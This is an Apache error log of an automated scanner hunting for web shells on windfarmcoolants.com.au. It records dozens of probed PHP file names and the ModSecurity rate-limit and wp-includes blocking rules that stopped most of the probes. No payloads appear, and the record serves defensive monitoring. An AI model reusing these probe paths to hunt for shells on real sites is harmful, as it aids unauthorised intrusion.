[Mon Apr 13 00:41:56.163904 2026] [:error] [pid 25327:tid 25340] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-lo.php
[Mon Apr 13 00:41:56.464711 2026] [:error] [pid 25327:tid 25347] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/fone1.php
[Mon Apr 13 00:41:56.739086 2026] [:error] [pid 25327:tid 25349] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/Ipv6.php
[Mon Apr 13 00:41:57.000158 2026] [:error] [pid 25327:tid 25344] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/file-gertdxz.php
[Mon Apr 13 00:41:57.261380 2026] [:error] [pid 25327:tid 25357] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/xper1.php
[Mon Apr 13 00:41:57.522356 2026] [:error] [pid 25327:tid 25354] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Mon Apr 13 00:41:57.788427 2026] [:error] [pid 25327:tid 25343] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/wglum1.php
[Mon Apr 13 00:41:58.065397 2026] [:error] [pid 25327:tid 25351] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/saorix1.php
[Mon Apr 13 00:41:58.329253 2026] [:error] [pid 25327:tid 25358] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/xper.php
[Mon Apr 13 00:41:58.623318 2026] [:error] [pid 25327:tid 25336] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/wxpass.php
[Mon Apr 13 00:41:58.884502 2026] [:error] [pid 25327:tid 25356] [client 20.251.15.206:5770] File does not exist: /usr/local/apache/htdocs/suspended-page/000.php
[Mon Apr 13 00:41:59.154929 2026] [:error] [pid 25327:tid 25340] [client 20.251.15.206:5770] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "advLVy6h2tZEVJo9JFI_7wAAAAQ"]
[Mon Apr 13 00:42:02.134647 2026] [:error] [pid 25329:tid 25392] [client 20.251.15.206:55937] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "advLWmdcIYsS8Iyaj10AEgAAAIk"]
[Mon Apr 13 00:42:03.633242 2026] [:error] [pid 25437:tid 25440] [client 20.251.15.206:55992] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "advLW3f97wYZje1ep_OgywAAAME"]
[Mon Apr 13 00:42:05.407009 2026] [:error] [pid 25327:tid 25339] [client 20.251.15.206:55380] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "advLXS6h2tZEVJo9JFJAAgAAAAM"]
[Mon Apr 13 00:42:08.226743 2026] [:error] [pid 25329:tid 25402] [client 20.251.15.206:42911] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "advLYGdcIYsS8Iyaj10AIwAAAI8"]
[Mon Apr 13 00:42:09.753210 2026] [:error] [pid 26567:tid 26578] [client 20.251.15.206:9768] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "advLYXhRpg6ptWFyFx3q3AAAAQk"]
[Mon Apr 13 00:42:11.742323 2026] [:error] [pid 25329:tid 25381] [client 20.251.15.206:55405] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "advLY2dcIYsS8Iyaj10AJwAAAIM"]
[Mon Apr 13 00:42:14.347265 2026] [:error] [pid 25329:tid 25399] [client 20.251.15.206:38644] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "advLZmdcIYsS8Iyaj10AKgAAAI0"]
[Mon Apr 13 00:42:17.171474 2026] [:error] [pid 25328:tid 25403] [client 20.251.15.206:43745] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "advLacxUaQZxT-e0YsCaFQAAAFY"]
[Mon Apr 13 00:42:19.864936 2026] [:error] [pid 25437:tid 25449] [client 20.251.15.206:52498] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "advLa3f97wYZje1ep_Og5wAAAMo"]
[Mon Apr 13 00:42:21.926355 2026] [:error] [pid 25329:tid 25397] [client 20.251.15.206:39961] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "advLbWdcIYsS8Iyaj10APAAAAIw"]
[Mon Apr 13 00:42:24.939774 2026] [:error] [pid 25437:tid 25442] [client 20.251.15.206:59230] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "advLcHf97wYZje1ep_Og7QAAAMM"]
[Mon Apr 13 00:42:26.857184 2026] [:error] [pid 25437:tid 25446] [client 20.251.15.206:59227] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/global.php"] [unique_id "advLcnf97wYZje1ep_Og9QAAAMc"]
[Mon Apr 13 00:42:28.276054 2026] [:error] [pid 25327:tid 25338] [client 20.251.15.206:43771] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/global.php"] [unique_id "advLdC6h2tZEVJo9JFJAHwAAAAI"]
[Mon Apr 13 00:42:30.199295 2026] [:error] [pid 25327:tid 25359] [client 20.251.15.206:54757] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/global.php"] [unique_id "advLdi6h2tZEVJo9JFJAKAAAABc"]
[Mon Apr 13 00:42:32.140069 2026] [:error] [pid 25327:tid 25360] [client 20.251.15.206:62426] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/global.php"] [unique_id "advLeC6h2tZEVJo9JFJALQAAABg"]
[Mon Apr 13 00:42:34.215028 2026] [:error] [pid 60280:tid 60297] [client 20.251.15.206:53901] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "advLenBlLnDOYuIykkhIbgAAAc8"]
[Mon Apr 13 00:42:35.924557 2026] [:error] [pid 60280:tid 60294] [client 20.251.15.206:45686] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "advLe3BlLnDOYuIykkhIcAAAAcw"]
[Mon Apr 13 00:42:38.581557 2026] [:error] [pid 60280:tid 60293] [client 20.251.15.206:62643] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "advLfnBlLnDOYuIykkhIcgAAAcs"]
[Mon Apr 13 00:42:40.056328 2026] [:error] [pid 26567:tid 26572] [client 20.251.15.206:62427] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "advLgHhRpg6ptWFyFx3q8gAAAQM"]
[Mon Apr 13 00:42:42.125473 2026] [:error] [pid 60280:tid 60288] [client 20.251.15.206:54728] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "advLgnBlLnDOYuIykkhIhQAAAcY"]
[Mon Apr 13 00:42:43.803783 2026] [:error] [pid 26600:tid 26633] [client 20.251.15.206:5191] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "advLg-1YwAZiXhQKLYqCnAAAAYQ"]
[Mon Apr 13 00:42:44.728379 2026] [:error] [pid 25329:tid 25374] [client 20.251.15.206:62651] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "advLhGdcIYsS8Iyaj10ARwAAAIA"]
[Mon Apr 13 00:42:45.461410 2026] [:error] [pid 60280:tid 60288] [client 20.251.15.206:51212] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "advLhXBlLnDOYuIykkhIngAAAcY"]
[Mon Apr 13 00:42:47.623460 2026] [:error] [pid 26600:tid 26653] [client 20.251.15.206:56420] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "advLh-1YwAZiXhQKLYqCnQAAAZg"]
[Mon Apr 13 00:42:55.344723 2026] [:error] [pid 26567:tid 26574] [client 20.251.15.206:44930] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "advLj3hRpg6ptWFyFx3q9gAAAQU"]
[Mon Apr 13 00:43:00.813849 2026] [:error] [pid 60280:tid 60291] [client 20.251.15.206:51455] File does not exist: /usr/local/apache/htdocs/suspended-page/ortasekerli1.php
[Mon Apr 13 00:43:01.073949 2026] [:error] [pid 60280:tid 60296] [client 20.251.15.206:51455] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-block.php
[Mon Apr 13 00:43:01.339562 2026] [:error] [pid 60280:tid 60286] [client 20.251.15.206:51455] [client 20.251.15.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "advLlXBlLnDOYuIykkhIyAAAAcQ"]
[Mon Apr 13 00:43:04.437030 2026] [:error] [pid 60280:tid 60291] [client 20.251.15.206:61061] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Mon Apr 13 00:43:04.712157 2026] [:error] [pid 60280:tid 60290] [client 20.251.15.206:61061] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Mon Apr 13 00:43:04.994904 2026] [:error] [pid 60280:tid 60304] [client 20.251.15.206:61061] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Mon Apr 13 00:43:05.255869 2026] [:error] [pid 60280:tid 60288] [client 20.251.15.206:61061] File does not exist: /usr/local/apache/htdocs/suspended-page/ws57.php
[Mon Apr 13 00:43:05.516549 2026] [:error] [pid 60280:tid 60295] [client 20.251.15.206:61061] File does not exist: /usr/local/apache/htdocs/suspended-page/ws61.php
[Mon Apr 13 00:43:05.777059 2026] [:error] [pid 60280:tid 60299] [client 20.251.15.206:61061] File does not exist: /usr/local/apache/htdocs/suspended-page/ws66.php
[Mon Apr 13 00:43:06.037939 2026] [:error] [pid 60280:tid 60290] [client 20.251.15.206:61061] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Mon Apr 13 00:43:06.522792 2026] [:error] [pid 60280:tid 60306] [client 20.251.15.206:61061] File does not exist: /usr/local/apache/htdocs/suspended-page/xynz.php
[Mon Apr 13 00:43:06.812347 2026] [:error] [pid 60280:tid 60296] [client 20.251.15.206:61061] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-01ul.php
[Mon Apr 13 00:43:07.069650 2026] [:error] [pid 60280:tid 60303] [client 20.251.15.206:61061] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e7.php"] [unique_id "advLm3BlLnDOYuIykkhI8AAAAdU"]
[Mon Apr 13 00:43:08.734848 2026] [:error] [pid 25327:tid 25348] [client 20.251.15.206:51868] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e7.php"] [unique_id "advLnC6h2tZEVJo9JFJAoAAAAAw"]
[Mon Apr 13 00:43:10.398544 2026] [:error] [pid 25327:tid 25347] [client 20.251.15.206:56527] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e7.php"] [unique_id "advLni6h2tZEVJo9JFJAowAAAAs"]
[Mon Apr 13 00:43:14.326096 2026] [:error] [pid 25329:tid 25381] [client 20.251.15.206:5210] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e7.php"] [unique_id "advLomdcIYsS8Iyaj10AYQAAAIM"]
[Mon Apr 13 00:43:17.380313 2026] [:error] [pid 60280:tid 60306] [client 20.251.15.206:59353] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "advLpXBlLnDOYuIykkhJDQAAAdg"]
[Mon Apr 13 00:43:19.770981 2026] [:error] [pid 25437:tid 25439] [client 20.251.15.206:56770] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "advLp3f97wYZje1ep_OhIgAAAMA"]
[Mon Apr 13 00:43:22.827422 2026] [:error] [pid 60280:tid 60292] [client 20.251.15.206:57382] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "advLqnBlLnDOYuIykkhJJAAAAco"]
[Mon Apr 13 00:43:24.124008 2026] [:error] [pid 25327:tid 25357] [client 20.251.15.206:59363] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "advLrC6h2tZEVJo9JFJA1AAAABU"]
[Mon Apr 13 00:43:28.076270 2026] [:error] [pid 25327:tid 25351] [client 20.251.15.206:59329] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "advLsC6h2tZEVJo9JFJA4AAAAA8"]
[Mon Apr 13 00:43:32.287301 2026] [:error] [pid 25437:tid 25451] [client 20.251.15.206:53960] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "advLtHf97wYZje1ep_OhKQAAAMw"]
[Mon Apr 13 00:43:32.850879 2026] [:error] [pid 25327:tid 25340] [client 20.251.15.206:55313] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "advLtC6h2tZEVJo9JFJA6gAAAAQ"]
[Mon Apr 13 00:43:35.313901 2026] [:error] [pid 25327:tid 25348] [client 20.251.15.206:58612] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aevly.php"] [unique_id "advLty6h2tZEVJo9JFJA7gAAAAw"]
[Mon Apr 13 00:43:38.711436 2026] [:error] [pid 60280:tid 60291] [client 20.251.15.206:44892] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "advLunBlLnDOYuIykkhJYAAAAck"]
[Mon Apr 13 00:43:40.900804 2026] [:error] [pid 25329:tid 25384] [client 20.251.15.206:56155] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "advLvGdcIYsS8Iyaj10AgQAAAIU"]
[Mon Apr 13 00:43:43.688455 2026] [:error] [pid 60280:tid 60299] [client 20.251.15.206:55326] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "advLv3BlLnDOYuIykkhJdAAAAdE"]
[Mon Apr 13 00:43:45.459524 2026] [:error] [pid 25328:tid 25367] [client 20.251.15.206:44926] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "advLwcxUaQZxT-e0YsCaaQAAAEM"]
[Mon Apr 13 00:43:46.469539 2026] [:error] [pid 25329:tid 25400] [client 20.251.15.206:49178] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "advLwmdcIYsS8Iyaj10AjAAAAI4"]
[Mon Apr 13 00:43:47.250307 2026] [:error] [pid 60280:tid 60298] [client 20.251.15.206:44867] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "advLw3BlLnDOYuIykkhJfwAAAdA"]
[Mon Apr 13 00:43:48.139757 2026] [:error] [pid 25329:tid 25386] [client 20.251.15.206:56186] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "advLxGdcIYsS8Iyaj10AkwAAAIY"]
[Mon Apr 13 00:43:49.288760 2026] [:error] [pid 25327:tid 25336] [client 20.251.15.206:5124] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "advLxS6h2tZEVJo9JFJA_QAAAAA"]
[Mon Apr 13 00:43:50.484968 2026] [:error] [pid 25327:tid 25351] [client 20.251.15.206:42434] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "advLxi6h2tZEVJo9JFJBAgAAAA8"]
[Mon Apr 13 00:43:53.002166 2026] [:error] [pid 25329:tid 25414] [client 20.251.15.206:60101] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "advLyWdcIYsS8Iyaj10AqwAAAJc"]
